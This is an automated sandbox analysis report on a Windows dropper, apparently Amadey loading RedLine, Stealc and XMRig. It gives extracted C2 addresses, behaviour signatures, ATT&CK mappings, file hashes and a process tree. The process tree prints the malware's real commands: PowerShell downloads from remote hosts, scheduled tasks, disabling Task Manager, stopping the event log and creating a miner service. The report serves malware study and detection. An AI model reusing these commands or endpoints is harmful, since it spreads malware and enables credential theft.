Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Resubmissions

01-07-2024 10:57

240701-m2gvna1bmr 10

27-06-2024 14:07

240627-re4s5axbqm 10

26-06-2024 21:27

240626-1awrdsvdkd 10

Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26-06-2024 21:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2379b88d09d15ee3b0e5a6cd83ac92086db55203aafa63149b1216b22ca4837c.exe

  • Size

    1.9MB

  • MD5

    f7b7a8eb191d45b9cf730d6fe78d36e1

  • SHA1

    0b7a7220d686c904b0ea89b6e036fb21acf0f85b

  • SHA256

    2379b88d09d15ee3b0e5a6cd83ac92086db55203aafa63149b1216b22ca4837c

  • SHA512

    b282e77a5855c5b302139740dfc870eec9a358669b84a8a35ccbef6abc40c4182fb34cf24d17bd5012173e71b8d7c7ddecc834248a470e7e9cffc3cdd19a4b36

  • SSDEEP

    49152:0YUvB6P4Zu2Zrq9Lp8lt+YPawAYsOWgu30w:KwPpN0tviwAY+g0n

Score
10/10
amadeyredlinestealcxmrig06-25-24123@oleh_pspe76b71jopalivetrafficdiscoveryevasionexecutioninfostealerminerpersistencespywarestealertrojanupx

Malware Config

Extracted

Family

amadey

Version

8254624243

Botnet

e76b71

C2

http://77.91.77.81

Attributes
  • install_dir

    8254624243

  • install_file

    axplong.exe

  • strings_key

    90049e51fabf09df0d6748e0b271922e

  • url_paths

    /Kiru9gu/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

C2

4.184.236.127:1110

Extracted

Family

redline

Botnet

@OLEH_PSP

C2

185.172.128.33:8970

Extracted

Family

redline

Botnet

123

C2

185.215.113.67:40960

Extracted

Family

redline

Botnet

06-25-24

C2

85.28.47.7:17210

Extracted

Family

stealc

Botnet

jopa

C2

http://65.21.175.0

Attributes
  • url_path

    /108e010e8f91c38c.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    evasion
  • XMRig Miner payload 11 IoCs
    miner
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Disables Task Manager via registry modification
    evasion
  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 21 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

    persistence
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 3 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 56 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2379b88d09d15ee3b0e5a6cd83ac92086db55203aafa63149b1216b22ca4837c.exe
    "C:\Users\Admin\AppData\Local\Temp\2379b88d09d15ee3b0e5a6cd83ac92086db55203aafa63149b1216b22ca4837c.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:468
    • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
      "C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1624
      • C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe
        "C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:896
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4620
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 896 -s 328
          4⤵
          • Program crash
          PID:1088
      • C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe
        "C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:3900
        • C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe
          "C:\Users\Admin\AppData\Local\Temp\b66a8ae076\Hkbsse.exe"
          4⤵
          • Executes dropped EXE
          PID:3624
      • C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:4268
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c ins.bat
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2148
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:920
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php"
            5⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2060
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Invoke-WebRequest -Uri 'https://bit.ly/4c7L8Zs' -UseBasicParsing >$null"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2460
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\install.bat' -Verb runAs -WindowStyle Hidden"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5032
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\install.bat"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:564
              • C:\Windows\system32\schtasks.exe
                schtasks /create /tn "Cleaner" /tr "C:\Users\Admin\AppData\Local\Corporation\File\RemoteExecuteScriptSilent.exe" /sc onstart /delay 0005:00
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:556
              • C:\Windows\system32\reg.exe
                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /f /v DisableTaskMgr /t REG_DWORD /d 00000001
                7⤵
                • Modifies registry key
                PID:4028
              • C:\Windows\system32\schtasks.exe
                schtasks.exe /create /SC MINUTE /MO 10 /TN "CCleaner" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2736
              • C:\Windows\system32\schtasks.exe
                schtasks.exe /create /SC MINUTE /MO 11 /TN "Updater" /TR "\"C:\Program Files\Google\Chrome\Application\chrome.exe\" http://starjod.xyz/Website.php" /F
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2036
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Invoke-WebRequest -Uri 'https://github.com/frielandrews892/File/releases/download/File/File.zip' -OutFile 'C:\Users\Admin\AppData\Local\Corporation.zip'"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1056
      • C:\Users\Admin\AppData\Local\Temp\1000108001\ldr.exe
        "C:\Users\Admin\AppData\Local\Temp\1000108001\ldr.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe
          "C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe"
          4⤵
          • Executes dropped EXE
          PID:3472
          • C:\Users\Admin\AppData\Local\Temp\1000012001\stl.exe
            "C:\Users\Admin\AppData\Local\Temp\1000012001\stl.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            PID:3320
            • C:\Users\Admin\AppData\Local\Temp\1000012001\stl.exe
              C:\Users\Admin\AppData\Local\Temp\1000012001\stl.exe
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3104
          • C:\Users\Admin\AppData\Local\Temp\1000013001\rig.exe
            "C:\Users\Admin\AppData\Local\Temp\1000013001\rig.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:4820
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              6⤵
              • Power Settings
              • Suspicious use of AdjustPrivilegeToken
              PID:4504
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              6⤵
              • Power Settings
              • Suspicious use of AdjustPrivilegeToken
              PID:2684
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              6⤵
              • Power Settings
              • Suspicious use of AdjustPrivilegeToken
              PID:2440
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              6⤵
              • Power Settings
              • Suspicious use of AdjustPrivilegeToken
              PID:1840
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe delete "xjuumoinznsp"
              6⤵
              • Launches sc.exe
              PID:5052
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe create "xjuumoinznsp" binpath= "C:\ProgramData\ajdiewdhnaew\wfbrmcwrltkl.exe" start= "auto"
              6⤵
              • Launches sc.exe
              PID:1760
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop eventlog
              6⤵
              • Launches sc.exe
              PID:1904
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe start "xjuumoinznsp"
              6⤵
              • Launches sc.exe
              PID:4068
      • C:\Users\Admin\AppData\Local\Temp\1000109001\alex5555555.exe
        "C:\Users\Admin\AppData\Local\Temp\1000109001\alex5555555.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4504
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:3924
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2832
            • C:\Users\Admin\AppData\Roaming\configurationValue\Explorers.exe
              "C:\Users\Admin\AppData\Roaming\configurationValue\Explorers.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3016
            • C:\Users\Admin\AppData\Roaming\configurationValue\svhosts.exe
              "C:\Users\Admin\AppData\Roaming\configurationValue\svhosts.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:436
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
              5⤵
                PID:424
                • C:\Windows\SysWOW64\choice.exe
                  choice /C Y /N /D Y /T 3
                  6⤵
                    PID:4716
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 4504 -s 292
                4⤵
                • Program crash
                PID:2268
            • C:\Users\Admin\AppData\Local\Temp\1000110001\123.exe
              "C:\Users\Admin\AppData\Local\Temp\1000110001\123.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3164
            • C:\Users\Admin\AppData\Local\Temp\1000111001\O3B6wY7ZkFhh.exe
              "C:\Users\Admin\AppData\Local\Temp\1000111001\O3B6wY7ZkFhh.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:888
              • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
                4⤵
                  PID:4432
              • C:\Users\Admin\AppData\Local\Temp\1000112001\TpWWMUpe0LEV.exe
                "C:\Users\Admin\AppData\Local\Temp\1000112001\TpWWMUpe0LEV.exe"
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                PID:1360
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
                  4⤵
                  • Loads dropped DLL
                  • Checks processor information in registry
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1596
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 352 -p 896 -ip 896
            1⤵
              PID:5100
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4504 -ip 4504
              1⤵
                PID:4164
              • C:\ProgramData\ajdiewdhnaew\wfbrmcwrltkl.exe
                C:\ProgramData\ajdiewdhnaew\wfbrmcwrltkl.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                PID:2992
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                  2⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2564
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                  2⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2244
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                  2⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2984
                • C:\Windows\system32\powercfg.exe
                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                  2⤵
                  • Power Settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2396
                • C:\Windows\explorer.exe
                  explorer.exe
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2084
              • C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe
                C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe
                1⤵
                • Executes dropped EXE
                PID:2532
              • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                1⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                PID:2976
              • C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe
                C:\Users\Admin\AppData\Local\Temp\28feeece5c\Hkbsse.exe
                1⤵
                • Executes dropped EXE
                PID:3328
              • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                1⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Identifies Wine through registry keys
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                PID:1892

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              System Services

              2
              T1569

              Service Execution

              2
              T1569.002

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Power Settings

              1
              T1653

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Create or Modify System Process

              2
              T1543

              Windows Service

              2
              T1543.003

              Scheduled Task/Job

              1
              T1053

              Scheduled Task

              1
              T1053.005

              Defense Evasion

              Impair Defenses

              1
              T1562

              Modify Registry

              2
              T1112

              Virtualization/Sandbox Evasion

              2
              T1497

              Credential Access

              Unsecured Credentials

              2
              T1552

              Credentials In Files

              2
              T1552.001

              Discovery

              Query Registry

              6
              T1012

              System Information Discovery

              3
              T1082

              Virtualization/Sandbox Evasion

              2
              T1497

              Lateral Movement

              Collection

              Data from Local System

              2
              T1005

              Command and Control

              Exfiltration

              Impact

              Service Stop

              1
              T1489

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\ProgramData\mozglue.dll
                Filesize

                593KB

                MD5

                c8fd9be83bc728cc04beffafc2907fe9

                SHA1

                95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                SHA256

                ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                SHA512

                fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                Download Submit

              • C:\ProgramData\nss3.dll
                Filesize

                2.0MB

                MD5

                1cc453cdf74f31e4d913ff9c10acdde2

                SHA1

                6e85eae544d6e965f15fa5c39700fa7202f3aafe

                SHA256

                ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

                SHA512

                dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                2KB

                MD5

                5f4c933102a824f41e258078e34165a7

                SHA1

                d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

                SHA256

                d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

                SHA512

                a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                1KB

                MD5

                5e6baeec02c3d93dce26652e7acebc90

                SHA1

                937a7b4a0d42ea56e21a1a00447d899a2aca3c28

                SHA256

                137bf90e25dbe4f70e614b7f6e61cba6c904c664858e1fe2bc749490b4a064c0

                SHA512

                461990704004d7be6f273f1cee94ea73e2d47310bac05483fd98e3c8b678c42e7625d799ac76cf47fe5e300e7d709456e8c18f9854d35deb8721f6802d24bea4

                Download Submit

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                Filesize

                64B

                MD5

                71e7b8ea5c782e9c8587933c6a4c0bd4

                SHA1

                03396025281882408e5001ff24f0863a9780e6f2

                SHA256

                7b1c02d13a796e11237c4240ef45405178cd346bd62a426f8b06dbf9e30e0a10

                SHA512

                f09249c722388e5a7476bac1d50d5240ce6758893b8e8ab17d80986edaeaf71451cc9eac1106c31afce095ab41e4f36766a3245929484f5085dd81831e83c0f8

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000012001\stl.exe
                Filesize

                511KB

                MD5

                2d92c64d986c4640e4cb5bc41cb38821

                SHA1

                bfc8e36ac6e2e8e6d44cfbc421307bbd58036dd5

                SHA256

                31dd0e69fb3a0a0999aa228d766e36033bbf1e482bdb93912705850badfba7b0

                SHA512

                4975350e13824fe78e937fe9cf84f86d6de502e588cf219ba2d73a171b74af4382b6b134033cc4cb590a6068299422834192bc52613161d2ee362b6464caa962

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000013001\rig.exe
                Filesize

                2.5MB

                MD5

                4691a9fe21f8589b793ea16f0d1749f1

                SHA1

                5c297f97142b7dad1c2d0c6223346bf7bcf2ea82

                SHA256

                63733ff3b794ebd7566103c8a37f7de862348ffacf130661f2c544dea8cde904

                SHA512

                ee27d5912e2fb4b045ffd39689162ab2668a79615b2b641a17b6b03c4273070a711f9f29dd847ffff5ae437d9df6102df6e10e898c36d44ec25e64ba1dd83386

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000035001\gold.exe
                Filesize

                493KB

                MD5

                92c01627961859a84ffa633327c5d7f9

                SHA1

                5b406c39f81f67e2b2e263137c7059718e4af007

                SHA256

                92373c134cbf9fc4a98ed7c80f244c8655b3852d3a1f1983fc4a7b3a00bf1370

                SHA512

                f31f9d45d7783441866faa0e684412040dd74c2878adfc6e5a874626e291b3e3cae7746cb62e2388d4183e615d9b919178fa409f2e12b3d0cf478c59450d3439

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000064001\NewLatest.exe
                Filesize

                415KB

                MD5

                07101cac5b9477ba636cd8ca7b9932cb

                SHA1

                59ea7fd9ae6ded8c1b7240a4bf9399b4eb3849f1

                SHA256

                488385cd54d14790b03fa7c7dc997ebea3f7b2a8499e5927eb437a3791102a77

                SHA512

                02240ff51a74966bc31cfcc901105096eb871f588efaa9be1a829b4ee6f245bd9dca37be7e2946ba6315feea75c3dce5f490847250e62081445cd25b0f406887

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000091001\Installer.exe
                Filesize

                154KB

                MD5

                5f331887bec34f51cca7ea78815621f7

                SHA1

                2eb81490dd3a74aca55e45495fa162b31bcb79e7

                SHA256

                d7ab2f309ee99f6545c9e1d86166740047965dd8172aec5f0038753c9ff5e9d8

                SHA512

                7a66c5d043139a3b20814ac65110f8151cf652e3f9d959489781fdaea33e9f53ce9fd1992f1a32bff73380c7d9ef47200d8b924a8adf415e7a93421d62eb054d

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000108001\ldr.exe
                Filesize

                415KB

                MD5

                c4aeaafc0507785736e000ff7e823f5e

                SHA1

                b1acdee835f02856985a822fe99921b097ed1519

                SHA256

                b1d5b1e480a5731caacc65609eaf069622f1129965819079aa09bc9d96dadde5

                SHA512

                fbaefbce3232481490bce7b859c6c1bafd87ee6d952a2be9bf7c4ed25fe8fc9aff46c2246e247aa05ce8e405831a5905ca366c5333ede0af48f9a6287479a12d

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000109001\alex5555555.exe
                Filesize

                1.7MB

                MD5

                a80a86c701801cbd77cf7406be6d11f0

                SHA1

                ef98a953fae4506e0402de15c1f1d9f0bfb47b01

                SHA256

                2f25790b3368b6afd35007dfe873e90a288cfce9d19758756b71fa6952a675f2

                SHA512

                7e1216bda5c36efcc4146c410cb5717e0e9e8257c25cef2239d631fa6fb15ec953b5155b6c4b4f4f3ff661425d1b6e5b716c21711fc7ddd423e6fc009e363d97

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000110001\123.exe
                Filesize

                297KB

                MD5

                cd581d68ed550455444ee6e099c44266

                SHA1

                f131d587578336651fd3e325b82b6c185a4b6429

                SHA256

                a2ebb4bbf2ae4f7755b3ab604996e6c7e570ac8837ca544854ed696a81972505

                SHA512

                33f94920032436cd45906c27cd5b39f47f9519ab5a1a6745bd8a69d81ce729d8e5e425a7538b5f4f6992bd3804e0376085f5da1c28cf9f4d664cabe64036d0b5

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000111001\O3B6wY7ZkFhh.exe
                Filesize

                5.6MB

                MD5

                9b297a1485665aef1a926f7cd322c932

                SHA1

                7c053b8f3905244558d2c319094ef09985521864

                SHA256

                8c75f8e94486f5bbf461505823f5779f328c5b37f1387c18791e0c21f3fdd576

                SHA512

                2a59bb8d940b9bc73ea112aebd04b3b461924adc29f47ea774bd1de23b638c283a041b202693a184d68ec920f2f56160cfded3b17afae31ee46fd00886d9f61b

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\1000112001\TpWWMUpe0LEV.exe
                Filesize

                1.2MB

                MD5

                242214131486132e33ceda794d66ca1f

                SHA1

                4ce34fd91f5c9e35b8694007b286635663ef9bf2

                SHA256

                bac402b5749b2da2211db6d2404c1c621ccd0c2e5d492eb6f973b3e2d38dd361

                SHA512

                031e0904d949cec515f2d6f2b5e4b9c0df03637787ff14f20c58e711c54eec77d1f22aa0cf0f6efd65362c1fc0066645d5d005c6a77fe5b169427cdd42555d29

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\8254624243\axplong.exe
                Filesize

                1.9MB

                MD5

                f7b7a8eb191d45b9cf730d6fe78d36e1

                SHA1

                0b7a7220d686c904b0ea89b6e036fb21acf0f85b

                SHA256

                2379b88d09d15ee3b0e5a6cd83ac92086db55203aafa63149b1216b22ca4837c

                SHA512

                b282e77a5855c5b302139740dfc870eec9a358669b84a8a35ccbef6abc40c4182fb34cf24d17bd5012173e71b8d7c7ddecc834248a470e7e9cffc3cdd19a4b36

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ins.bat
                Filesize

                1KB

                MD5

                0be4cbfa51fe5f8010e78553a28f2779

                SHA1

                ae21783c148ae1443fa87a43b9b51cb0ab1a799b

                SHA256

                cc56d197270cdf7c3b5c193ec5b3c63dd87b57b58f90571649f8f0e29a6f1a90

                SHA512

                337a332eecb12cb065a09b3ae01e86802082c576b203ffd1a8270c69172036dc244ecffad1fba3de76d573c77f1315821a563d2a4aed73bfeb9e9bdf6107edfd

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1yatl4od.wec.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit

              • C:\Users\Admin\AppData\Local\Temp\install.bat
                Filesize

                568B

                MD5

                e861a08036b9eb5f216deb58e8a7934d

                SHA1

                5f12dd049df2f88d95f205a4adc307df78ac16ee

                SHA256

                e8315164849216f4c670c13b008e063da2176efb5d08939caa321e39a33035eb

                SHA512

